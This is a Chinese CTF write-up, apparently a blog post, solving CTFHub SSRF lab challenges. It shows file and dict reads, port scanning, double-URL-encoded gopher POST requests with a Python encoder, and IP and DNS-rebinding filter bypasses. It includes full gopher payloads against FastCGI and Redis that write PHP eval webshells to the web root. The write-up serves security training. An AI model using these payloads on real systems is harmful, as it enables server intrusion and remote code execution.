SSRF【CTFHUB】

file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容

http/s协议:探测内网主机存活

dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等

gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

内网访问
http://127.0.0.1/flag.php 
http://0.0.0.0/flag.php
http://0x7F000001/flag.php 	16进制
伪协议读取文件

file协议读取本地文件:

?url=file:/var/www/html/flag.php
端口扫描

探测端口用dict协议,Burp上爆破即可
在这里插入图片描述

在这里插入图片描述
发现8635端口,访问即可:?url=http://127.0.0.1:8635

POST请求

一进到页面URL是?url=_想到SSRF,尝试file协议读文件

?url=file:/var/www/html/index.php

在这里插入图片描述
在读一个flag.php

?url=file:/var/www/html/flag.php
<!--?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?-->

从上面代码可知我们需要$_SERVER["REMOTE_ADDR"] = "127.0.0.1",所以肯定得要SSRF访问本地了,且要求POST传参,因此我们可以利用gopher://协议发POST包去访问flag.php

构造POST包:
需要传递Content-Type,Content-Length,host,post这四个参数,且Content-Length的长度必须正确

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:36

key=95240b91e43b59f768f641f2765384d2

进行第一次URL编码(一个在线URL编码网站

POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0AContent-Length%3A36%0A%0Akey%3D95240b91e43b59f768f641f2765384d2

并把%0A替换成%0d%0A,结尾加上%0d%0A,问号?替换为%3f

POST%20%2Fflag.php%20HTTP%2F1.1%0d%0AHost%3A%20127.0.0.1%0d%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0d%0AContent-Length%3A36%0d%0A%0d%0Akey%3D95240b91e43b59f768f641f2765384d2%0d%0A

进行第二次编码,因为GET传参解码一次,curl也会解码一次
同时加上:gopher://127.0.0.1:80/_

?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250d%250AHost%253A%2520127.0.0.1%250d%250AContent-Type%253Aapplication%252Fx-www-form-urlencoded%250d%250AContent-Length%253A36%250d%250A%250d%250Akey%253D95240b91e43b59f768f641f2765384d2%250d%250A

也可用python脚本得到TCP流:

import urllib.parse

# 输入要构造的post请求包
payload = '''   
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:36

key=601af1680224be3db87254533bd90ab9
'''
# 自动修改Content-Length长度
Content_Length = len(payload.split()[-1])   # 取得Content-Length
payload = payload.replace("36", str(Content_Length))    # 替换Content-Length
# 输入内网ip与端口
payload = "gopher://127.0.0.1:80/_" + payload.strip()

# url编码,python3.0后的编码器 urlencode更新后改为quote_plus
payload = urllib.parse.quote(str(payload))
# 替换
payload = payload.replace("%3A", ":").replace("%0A", "%0d%0a").replace("%3D", "=") + "%0d%0a"
print("[+] 1次url编码\n", payload)
payload = urllib.parse.quote(payload).replace("%3A", ":").replace("%0A", "%0d%0a").replace("%3D", "=")
print("[+] 2次url编码\n", payload)

此外还发现这种歪门邪道解:
在这里插入图片描述

gopher协议,继续POST请求,不过POST的内容需要是一个文件,因此我们要抓一个上传文件的数据包并放进脚本中构造gopher
至于如何抓取一个上传文件的包,你可以在?url=http://127.0.0.1/flag.php的前端中添加一个提交按钮
在这里插入图片描述
也可以自己写一个提交文件的HTML并抓取,代码可以是:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://122.112.214.101:20004/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

将数据包修改以一下。Host改成127.0.0.1,访问的地址是flag.php
在这里插入图片描述
提交一下然后复制整个数据包到脚本(上题的)中去生成payload
在这里插入图片描述
最后就可以在Index.php中构造gopher协议了。index.php中有curl函数,通过它访问本地的flag.php
在这里插入图片描述

FastCGI协议

gopher协议打Fastcgi:需要用到Gopherus这个工具
第一个填写一个已知的网站地址:/var/wwww/html/index.php
第二个填写终端命令:echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php这是个写马的命令,写到shell.php下
在这里插入图片描述
然后记得将生成的payload再URL编码一次,生成的payload只编码了一次,但因为浏览器get方法传参是会解码一次的,curl的发送也会解码一次,所以需要两次URL编码!

?url=gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527ls%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
Redis协议

gopher协议打redis
在这里插入图片描述

?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

在这里插入图片描述

URL Bypass

好像是19年黑客大会的一个议题
在这里插入图片描述

比如:http://www.baidu.com@192.168.0.1/http://192.168.0.1请求的都是192.168.0.1的内容

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass
http://0.0.0.0/flag.php
http://0x7F000001/flag.php 	16进制
http://localhost/flag.php	
http://0/flag.php			0在window下代表0.0.0.0,而在liunx下代表127.0.0.1

还看到别的方法:
http://[0:0:0:0:0:ffff:127.0.0.1]/   在liunx下可用,window测试了下不行
http://[::]:80/           在liunx下可用,window测试了下不行
http://127。0。0。1/        用中文句号绕过
http://①②⑦.⓪.⓪.①		利用 Enclosed alphanumerics
http://127.1/
http://127.00000.00000.001/  0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

贴一下Enclosed alphanumerics(闭封式字母数字)的字符

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
302跳转 Bypass

利用302重定向到127.0.0.1的flag.php
在自己的VPS上编写一个302.php放在公网下,内容如下

#302.php
<?php
header("Location:http://127.0.0.1/flag.php");

访问你公网ip下的302.php

?url=http://your-ip/302.hpp

还有简单一点的就是利用短地址了,到这个网站下获取一个短地址
https://4m.cn/
填写好即可得到一个定向到127.0.0.1/flag.php的短地址
在这里插入图片描述

DNS重绑定 Bypass

可以到这个网站下创建账号:http://ceye.io/profile
在这里插入图片描述
绑定两个地址,第二个为127.0.0.1即可
访问你的地址,注意前面加上r.

?url=r.i868u4.ceye.io/flag.php




还有一个简单一点的就是到这个网站下直接填写获取:
https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=

在这里插入图片描述

?url=7f000001.7f000002.rbndr.us/flag.php
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值